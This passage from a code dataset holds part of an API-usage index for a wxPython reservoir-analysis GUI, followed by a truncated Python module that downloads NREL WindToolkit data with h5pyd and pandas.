"wx.lib.agw.persist.EVT_TREE_BEGIN_DRAG", "line_number": 112, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 112, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_END_DRAG", "line_number": 113, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 113, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_BEGIN_DRAG", "line_number": 114, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 114, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_END_DRAG", "line_number": 115, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 115, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_BEGIN_DRAG", "line_number": 116, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 116, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_END_DRAG", "line_number": 117, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 117, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_BEGIN_LABEL_EDIT", "line_number": 120, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 120, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_END_LABEL_EDIT", "line_number": 121, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 121, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_BEGIN_LABEL_EDIT", "line_number": 122, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 122, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_END_LABEL_EDIT", "line_number": 123, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 123, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_BEGIN_LABEL_EDIT", "line_number": 124, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 124, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_END_LABEL_EDIT", "line_number": 125, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 125, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_COMBOBOX", "line_number": 128, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 128, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_COMBOBOX", "line_number": 129, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 129, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_COMBOBOX", "line_number": 130, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 130, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_COMBOBOX", "line_number": 131, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 131, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_COMBOBOX", "line_number": 132, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 132, "usage_type": "name"}, {"api_name": "wx.lib.agw.aui.EVT_AUINOTEBOOK_PAGE_CHANGING", "line_number": 134, "usage_type": "argument"}, {"api_name": "wx.lib.agw.persist.NewId", "line_number": 134, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist", "line_number": 134, "usage_type": "name"}, {"api_name": "wx.lib.agw.aui.EVT_AUINOTEBOOK_PAGE_CHANGED", "line_number": 135, "usage_type": "argument"}, {"api_name": "wx.lib.agw.persist.NewId", "line_number": 135, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist", "line_number": 135, "usage_type": "name"}, {"api_name": "wx.lib.agw.aui.EVT_AUINOTEBOOK_PAGE_CLOSE", "line_number": 136, "usage_type": "argument"}, {"api_name": "wx.lib.agw.persist.NewId", "line_number": 136, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist", "line_number": 136, "usage_type": "name"}, {"api_name": "wx.lib.agw.aui.EVT_AUINOTEBOOK_PAGE_CLOSED", "line_number": 137, "usage_type": "argument"}, {"api_name": "wx.lib.agw.persist.NewId", "line_number": 137, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist", "line_number": 137, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_MENU", "line_number": 141, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 141, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_MENU", "line_number": 142, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 142, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_MENU", "line_number": 143, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 143, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_MENU", "line_number": 144, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 144, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_MENU", "line_number": 145, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 145, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_MENU", "line_number": 146, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 146, "usage_type": "name"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 149, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_DROPDOWN_CLICKED", "line_number": 150, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 151, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 152, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 155, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 158, "usage_type": "argument"}, {"api_name": "chart_mgr.CartesianChart", "line_number": 158, "usage_type": "call"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 159, "usage_type": "argument"}, {"api_name": "chart_mgr.StackedChart", "line_number": 159, "usage_type": "call"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 160, "usage_type": "argument"}, {"api_name": "chart_mgr.BarChart", "line_number": 160, "usage_type": "call"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 161, "usage_type": "argument"}, {"api_name": "chart_mgr.BubbleChart", "line_number": 161, "usage_type": "call"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 162, "usage_type": "argument"}, {"api_name": "chart_mgr.HistogramChart", "line_number": 162, "usage_type": "call"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 163, "usage_type": "argument"}, {"api_name": "chart_mgr.MapChart", "line_number": 163, "usage_type": "call"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 164, "usage_type": "argument"}, {"api_name": "chart_mgr.ThreeDChart", "line_number": 164, "usage_type": "call"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 165, "usage_type": "argument"}, {"api_name": "chart_mgr.FitChart", "line_number": 165, "usage_type": "call"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 171, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 174, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 177, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 178, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 179, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 180, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 181, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 182, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 183, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 184, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 185, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 186, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 187, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 188, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 189, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 190, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 191, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 192, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 193, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 196, "usage_type": "argument"}, {"api_name": "wx.lib.agw.ribbon.EVT_RIBBONBUTTONBAR_CLICKED", "line_number": 197, "usage_type": "argument"}, {"api_name": "wx.lib.agw.persist.EVT_CLOSE", "line_number": 200, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 200, "usage_type": "name"}, {"api_name": "pubsub.pub.subscribe", "line_number": 205, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 205, "usage_type": "name"}, {"api_name": "pubsub.pub.subscribe", "line_number": 206, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 206, "usage_type": "name"}, {"api_name": "pubsub.pub.subscribe", "line_number": 207, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 207, "usage_type": "name"}, {"api_name": "pubsub.pub.subscribe", "line_number": 208, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 208, "usage_type": "name"}, {"api_name": "pubsub.pub.subscribe", "line_number": 209, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 209, "usage_type": "name"}, {"api_name": "pubsub.pub.subscribe", "line_number": 210, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 210, "usage_type": "name"}, {"api_name": "pubsub.pub.subscribe", "line_number": 211, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 211, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.BoxSizer", "line_number": 221, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist", "line_number": 221, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.VERTICAL", "line_number": 221, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist.EXPAND", "line_number": 222, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 222, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EXPAND", "line_number": 223, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 223, "usage_type": "name"}, {"api_name": "widgets.customized_menu.CustomMenu", "line_number": 302, "usage_type": "call"}, {"api_name": "_icons.folder_closed_16x16.GetBitmap", "line_number": 337, "usage_type": "call"}, {"api_name": "_icons.folder_closed_16x16", "line_number": 337, "usage_type": "attribute"}, {"api_name": "widgets.customized_menu.CustomMenu", "line_number": 412, "usage_type": "call"}, {"api_name": "frames.frame_utilities.DeleteSingleTreeItem", "line_number": 442, "usage_type": "call"}, {"api_name": "frames.frame_utilities.DeleteMultipleTreeItems", "line_number": 445, "usage_type": "call"}, {"api_name": "pubsub.pub.sendMessage", "line_number": 457, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 457, "usage_type": "name"}, {"api_name": "pubsub.pub.sendMessage", "line_number": 492, "usage_type": "call"}, {"api_name": "pubsub.pub", "line_number": 492, "usage_type": "name"}, {"api_name": "frames.auxiliary_frames.DuplicateFrame", "line_number": 498, "usage_type": "call"}, {"api_name": "widgets.customized_menu.CustomMenu", "line_number": 543, "usage_type": "call"}, {"api_name": "_icons.x_16x16.GetBitmap", "line_number": 578, "usage_type": "call"}, {"api_name": "_icons.x_16x16", "line_number": 578, "usage_type": "attribute"}, {"api_name": "_icons.y_16x16.GetBitmap", "line_number": 583, "usage_type": "call"}, {"api_name": "_icons.y_16x16", "line_number": 583, "usage_type": "attribute"}, {"api_name": "_icons.z_16x16.GetBitmap", "line_number": 588, "usage_type": "call"}, {"api_name": "_icons.z_16x16", "line_number": 588, "usage_type": "attribute"}, {"api_name": "_icons.summary_16x16.GetBitmap", "line_number": 597, "usage_type": "call"}, {"api_name": "_icons.summary_16x16", "line_number": 597, "usage_type": "attribute"}, {"api_name": "widgets.customized_menu.CustomMenu", "line_number": 619, "usage_type": "call"}, {"api_name": "frames.frame_utilities.DeleteSingleTreeItem", "line_number": 631, "usage_type": "call"}, {"api_name": "frames.frame_utilities.DeleteMultipleTreeItems", "line_number": 634, "usage_type": "call"}, {"api_name": "frames.import_frames.ProfileImportFrame", "line_number": 651, "usage_type": "call"}, {"api_name": "widgets.customized_menu.CustomMenu", "line_number": 679, "usage_type": "call"}, {"api_name": "widgets.customized_menu.CustomMenu", "line_number": 715, "usage_type": "call"}, {"api_name": "frames.frame_utilities.DeleteSingleTreeItem", "line_number": 731, "usage_type": "call"}, {"api_name": "frames.frame_utilities.DeleteMultipleTreeItems", "line_number": 734, "usage_type": "call"}, {"api_name": "frames.frame_utilities.DeleteSingleTreeItem", "line_number": 755, "usage_type": "call"}, {"api_name": "frames.frame_utilities.DeleteMultipleTreeItems", "line_number": 758, "usage_type": "call"}, {"api_name": "frames.frame_utilities.MoveFolderOntoFolder", "line_number": 880, "usage_type": "call"}, {"api_name": "frames.frame_utilities.MoveFolderOntoFolder", "line_number": 884, "usage_type": "call"}, {"api_name": "frames.frame_utilities.MoveFolderOntoFolder", "line_number": 888, "usage_type": "call"}, {"api_name": "frames.frame_utilities.RelativeDragIndex", "line_number": 909, "usage_type": "call"}, {"api_name": "frames.frame_utilities.RelativeDragIndex", "line_number": 924, "usage_type": "call"}, {"api_name": "widgets.customized_menu.CustomMenu", "line_number": 1169, "usage_type": "call"}, {"api_name": "widgets.customized_menu.CustomMenuItem", "line_number": 1170, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist.ID_ANY", "line_number": 1170, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 1170, "usage_type": "name"}, {"api_name": "_icons.window_16x16.GetBitmap", "line_number": 1171, "usage_type": "call"}, {"api_name": "_icons.window_16x16", "line_number": 1171, "usage_type": "attribute"}, {"api_name": "widgets.customized_menu.CustomMenuItem", "line_number": 1174, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist.ID_ANY", "line_number": 1174, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 1174, "usage_type": "name"}, {"api_name": "_icons.window_split_16x16.GetBitmap", "line_number": 1175, "usage_type": "call"}, {"api_name": "_icons.window_split_16x16", "line_number": 1175, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist.EVT_MENU", "line_number": 1179, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 1179, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_MENU", "line_number": 1180, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 1180, "usage_type": "name"}, {"api_name": "frames.export_frame.ExportFrame", "line_number": 1245, "usage_type": "call"}, {"api_name": "frames.entity_frames.FieldFrame", "line_number": 1273, "usage_type": "call"}, {"api_name": "frames.entity_frames.BlockFrame", "line_number": 1276, "usage_type": "call"}, {"api_name": "frames.entity_frames.PlatformFrame", "line_number": 1279, "usage_type": "call"}, {"api_name": "frames.entity_frames.ProcessorFrame", "line_number": 1282, "usage_type": "call"}, {"api_name": "frames.entity_frames.PipelineFrame", "line_number": 1285, "usage_type": "call"}, {"api_name": "frames.entity_frames.ProducerFrame", "line_number": 1288, "usage_type": "call"}, {"api_name": "frames.entity_frames.InjectorFrame", "line_number": 1291, "usage_type": "call"}, {"api_name": "frames.entity_frames.ReservoirFrame", "line_number": 1294, "usage_type": "call"}, {"api_name": "frames.entity_frames.ThemeFrame", "line_number": 1297, "usage_type": "call"}, {"api_name": "frames.entity_frames.PolygonFrame", "line_number": 1300, "usage_type": "call"}, {"api_name": "frames.entity_frames.AnalogueFrame", "line_number": 1303, "usage_type": "call"}, {"api_name": "frames.entity_frames.TypecurveFrame", "line_number": 1306, "usage_type": "call"}, {"api_name": "frames.entity_frames.ScalingFrame", "line_number": 1309, "usage_type": "call"}, {"api_name": "frames.entity_frames.ProjectFrame", "line_number": 1312, "usage_type": "call"}, {"api_name": "frames.entity_frames.HistoryFrame", "line_number": 1315, "usage_type": "call"}, {"api_name": "frames.scenario_frame.ScenarioFrame", "line_number": 1318, "usage_type": "call"}, {"api_name": "frames.entity_frames.PredictionFrame", "line_number": 1321, "usage_type": "call"}, {"api_name": "frames.variable_frame.ProductionVariableFrame", "line_number": 1337, "usage_type": "call"}, {"api_name": "frames.variable_frame.SummaryVariableFrame", "line_number": 1340, "usage_type": "call"}, {"api_name": "frames.correlation_frame.EntityCorrelationFrame", "line_number": 1348, "usage_type": "call"}, {"api_name": "frames.correlation_frame.VariableCorrelationFrame", "line_number": 1355, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1359, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1359, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 1359, "usage_type": "call"}, {"api_name": "gc.disable", "line_number": 1372, "usage_type": "call"}, {"api_name": "pickle.Pickler", "line_number": 1374, "usage_type": "call"}, {"api_name": "pickle.HIGHEST_PROTOCOL", "line_number": 1374, "usage_type": "attribute"}, {"api_name": "gc.enable", "line_number": 1382, "usage_type": "call"}, {"api_name": "frames.frame_utilities.GetFilePath", "line_number": 1393, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 1398, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1398, "usage_type": "attribute"}, {"api_name": "frames.frame_utilities.GetFilePath", "line_number": 1408, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 1417, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist.MessageDialog", "line_number": 1443, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist", "line_number": 1443, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.YES_NO", "line_number": 1444, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 1444, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.CANCEL", "line_number": 1444, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist.CENTER", "line_number": 1444, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist.ID_YES", "line_number": 1448, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 1448, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.ID_NO", "line_number": 1452, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 1452, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.ID_CANCEL", "line_number": 1456, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 1456, "usage_type": "name"}, {"api_name": "frames.frame_utilities.GetFilePath", "line_number": 1478, "usage_type": "call"}, {"api_name": "settings.Settings", "line_number": 1488, "usage_type": "call"}, {"api_name": "variable_mgr.VariableManager", "line_number": 1489, "usage_type": "call"}, {"api_name": "entity_mgr.EntityManager", "line_number": 1490, "usage_type": "call"}, {"api_name": "chart_mgr.ChartManager", "line_number": 1491, "usage_type": "call"}, {"api_name": "frames.settings_frame.SettingsFrame", "line_number": 1499, "usage_type": "call"}, {"api_name": "chart_mgr.AxesItem", "line_number": 1649, "usage_type": "call"}, {"api_name": "chart_mgr.AxesItem", "line_number": 1670, "usage_type": "call"}, {"api_name": "chart_mgr.AxesItem", "line_number": 1692, "usage_type": "call"}, {"api_name": "chart_mgr.AxesItem", "line_number": 1715, "usage_type": "call"}, {"api_name": "chart_mgr.AxesItem", "line_number": 1728, "usage_type": "call"}, {"api_name": "chart_mgr.AxesItem", "line_number": 1741, "usage_type": "call"}, {"api_name": "chart_mgr.AxesItem", "line_number": 1752, "usage_type": "call"}, {"api_name": "chart_mgr.AxesItem", "line_number": 1779, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 1804, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 1804, "usage_type": "name"}, {"api_name": "_icons.project_16x16.GetBitmap", "line_number": 1966, "usage_type": "call"}, {"api_name": "_icons.project_16x16", "line_number": 1966, "usage_type": "attribute"}, {"api_name": "_icons.history_match_16x16.GetBitmap", "line_number": 1971, "usage_type": "call"}, {"api_name": "_icons.history_match_16x16", "line_number": 1971, "usage_type": "attribute"}, {"api_name": "_icons.scenario_16x16.GetBitmap", "line_number": 1971, "usage_type": "call"}, {"api_name": "_icons.scenario_16x16", "line_number": 1971, "usage_type": "attribute"}, {"api_name": "_icons.prediction_16x16.GetBitmap", "line_number": 1976, "usage_type": "call"}, {"api_name": "_icons.prediction_16x16", "line_number": 1976, "usage_type": "attribute"}, {"api_name": "_icons.field_16x16.GetBitmap", "line_number": 1981, "usage_type": "call"}, {"api_name": "_icons.field_16x16", "line_number": 1981, "usage_type": "attribute"}, {"api_name": "_icons.block_16x16.GetBitmap", "line_number": 1986, "usage_type": "call"}, {"api_name": "_icons.block_16x16", "line_number": 1986, "usage_type": "attribute"}, {"api_name": "_icons.platforms_16x16.GetBitmap", "line_number": 1991, "usage_type": "call"}, {"api_name": "_icons.platforms_16x16", "line_number": 1991, "usage_type": "attribute"}, {"api_name": "_icons.pipeline_16x16.GetBitmap", "line_number": 1991, "usage_type": "call"}, {"api_name": "_icons.pipeline_16x16", "line_number": 1991, "usage_type": "attribute"}, {"api_name": "_icons.processor_16x16.GetBitmap", "line_number": 1996, "usage_type": "call"}, {"api_name": "_icons.processor_16x16", "line_number": 1996, "usage_type": "attribute"}, {"api_name": "_icons.reservoir_16x16.GetBitmap", "line_number": 2001, "usage_type": "call"}, {"api_name": "_icons.reservoir_16x16", "line_number": 2001, "usage_type": "attribute"}, {"api_name": "_icons.theme_16x16.GetBitmap", "line_number": 2006, "usage_type": "call"}, {"api_name": "_icons.theme_16x16", "line_number": 2006, "usage_type": "attribute"}, {"api_name": "_icons.polygon_16x16.GetBitmap", "line_number": 2011, "usage_type": "call"}, {"api_name": "_icons.polygon_16x16", "line_number": 2011, "usage_type": "attribute"}, {"api_name": "_icons.producer_oil_gas_16x16.GetBitmap", "line_number": 2016, "usage_type": "call"}, {"api_name": "_icons.producer_oil_gas_16x16", "line_number": 2016, "usage_type": "attribute"}, {"api_name": "_icons.injector_wag_16x16.GetBitmap", "line_number": 2016, "usage_type": "call"}, {"api_name": "_icons.injector_wag_16x16", "line_number": 2016, "usage_type": "attribute"}, {"api_name": "_icons.analogue_16x16.GetBitmap", "line_number": 2021, "usage_type": "call"}, {"api_name": "_icons.analogue_16x16", "line_number": 2021, "usage_type": "attribute"}, {"api_name": "_icons.scaling_chart_16x16.GetBitmap", "line_number": 2021, "usage_type": "call"}, {"api_name": "_icons.scaling_chart_16x16", "line_number": 2021, "usage_type": "attribute"}, {"api_name": "_icons.trend_chart_16x16.GetBitmap", "line_number": 2026, "usage_type": "call"}, {"api_name": "_icons.trend_chart_16x16", "line_number": 2026, "usage_type": "attribute"}]}
{"seq_id": "74500624586", "text": "\"\"\" Module for importing WindToolkit data from AWS or from NREL's HPC system\"\"\"\n\nimport os\nimport errno\nfrom datetime import datetime\nfrom typing import List, Tuple, Union\nimport pathos.multiprocessing as mp\nimport numpy as np\nimport pandas as pd\nfrom .wtksource import WtkSource\n\n\nclass WTK(WtkSource):\n    \"\"\" Class for importing WTK data\n\n    Parameters:\n    ----------\n    source_name: str\n        Name of the source for WTK files, valid source names can\n        be found in WTK.valid_sources\n    lonlat_bounds: Tuple[float, float, float, float]\n        Bounds in lon/lat crs for finding out WTK source points\n    varnames: List of str\n        Variables names to be imported from WTK\n    out_dir: str\n        Output directory where to save the dataframes in .csv\n    padding: float, defaults to 0.02\n        padding around lonlat bounds to ensure edges of bounds are within\n        WTK coverage are\n    \"\"\"\n\n    datetime_format: str = 'y%Ym%md%dh%H'\n\n    def __init__(\n        self,\n        source_name: str,\n        lonlat_bounds: Tuple[float, float, float, float],\n        varnames: Union[List[str], str],\n        out_dir: str,\n        padding: float = 0.02\n    ):\n\n        # initiate\n        super().__init__(source_name)\n        self.out_dir = out_dir\n        makedir_if_not_exists(self.out_dir)\n\n        # pad the bounds\n        pad = [-padding, -padding, padding, padding]\n        self.lonlat_bounds = [ix + iy for ix, iy in zip(lonlat_bounds, pad)]\n\n        # validate variable names\n        varnames = [varnames] if isinstance(varnames, str) else varnames\n        self.varnames = set(varnames).intersection(self.valid_layers)\n        if bool(self.varnames):\n            print(('WTK: Downloading following layers:\\n'\n                   f'{chr(10).join(self.varnames)}'))\n        else:\n            raise ValueError(('WTK: No valid layer found among:\\n'\n                              f'{chr(10).join(varnames)}\\n'))\n\n    def validate_requested_time(\n        self,\n        req_time: datetime\n    ) -> None:\n        \"\"\" Validate if the timestamp is available from the WTK source \"\"\"\n        if not isinstance(req_time, datetime):\n            raise ValueError('Provide a valid datetime.datetime object')\n        if req_time.year not in self.years:\n            raise ValueError((f'{req_time.year} not found in '\n                              f'{self.years}'))\n\n    def download_locations(self) -> None:\n        \"\"\" Download wtk locations within the set bounds \"\"\"\n        fpath = os.path.join(self.out_dir, 'wtk_locations.csv')\n        with self.hsds.File(self.file_names[0], mode='r') as f_obj:\n            # print(f'WTK: Available variables: {self.layers}')\n            ts_lat_all = f_obj['coordinates'][:, 0]\n            lat_index_all = np.where(np.logical_and(\n                ts_lat_all > self.lonlat_bounds[1],\n                ts_lat_all < self.lonlat_bounds[3])\n            )[0]\n            ts_lon = f_obj['coordinates'][min(\n                lat_index_all):max(lat_index_all), 1]\n        ts_lat = ts_lat_all[min(lat_index_all):max(lat_index_all)]\n        lat_bool = np.logical_and(ts_lat > self.lonlat_bounds[1],\n                                  ts_lat < self.lonlat_bounds[3])\n        lon_bool = np.logical_and(ts_lon > self.lonlat_bounds[0],\n                                  ts_lon < self.lonlat_bounds[2])\n        wtk_ind = np.where(np.logical_and(lon_bool, lat_bool))[0]\n        dfbase = pd.DataFrame({\n            'Indices': min(lat_index_all) + wtk_ind,\n            'Longitude': ts_lon[wtk_ind],\n            'Latitude': ts_lat[wtk_ind]\n        })\n        dfbase.to_csv(fpath)\n\n    def get_locations(self) -> pd.DataFrame:\n        \"\"\" Returns dataframe containing lat/lon coordinate for wtk points \"\"\"\n        fpath = os.path.join(self.out_dir, 'wtk_locations.csv')\n        try:\n            dfbase = pd.read_csv(fpath, index_col=0)\n            if not (\n                (dfbase['Longitude'].min() <= self.lonlat_bounds[0]) &\n                (dfbase['Longitude'].max() >= self.lonlat_bounds[1]) &\n                (dfbase['Latitude'].min() <= self.lonlat_bounds[2]) &\n                (dfbase['Latitude'].max() >= self.lonlat_bounds[3])\n            ):\n                raise FileNotFoundError\n        except FileNotFoundError as _:\n            self.download_locations()\n            dfbase = pd.read_csv(fpath, index_col=0)\n            #print(f'WTK: Got {dfbase.shape[0]} data source points')\n        return dfbase\n\n    def download_data_for_this_time(\n        self,\n        req_time: datetime\n    ) -> pd.DataFrame:\n        \"\"\"Extracts WTK data for a given time and returns the dataframe\"\"\"\n\n        # validate request\n        self.validate_requested_time(req_time)\n        time_str = req_time.strftime('%I %p, %d %b %Y')\n        print(f'WTK: Downloading data for {time_str}', flush=True)\n\n        # calculate time index of req time\n        time_diff = req_time - datetime(req_time.year, 1, 1, 0)\n        time_index = time_diff.days * 24 + time_diff.seconds // 3600\n\n        # download the data\n        newdf = self.get_locations()\n        inds = newdf['Indices'].values\n        source_fname = self.file_names[self.years.index(req_time.year)]\n        with self.hsds.File(source_fname, mode='r') as fobj:\n            for varname in self.varnames:\n                try:\n                    inorm = fobj[varname].attrs['scale_factor']\n                    # wtk_units.append(fobj[varname].attrs['units'])\n                    if self.module_name == 'h5pyd':\n                        wtk_data_raw = fobj[varname][time_index, min(\n                            inds):max(inds) + 1] / inorm\n                        newdf[varname] = wtk_data_raw[inds - min(inds)]\n                    else:\n                        newdf[varname] = fobj[varname][time_index,\n                                                       inds] / inorm\n                except Exception as e_obj:\n                    raise ValueError(\n                        f'{varname} not found in {*list(fobj),}') from e_obj\n        #  newdf.columns = pd.MultiIndex.from_tuples(\n        #  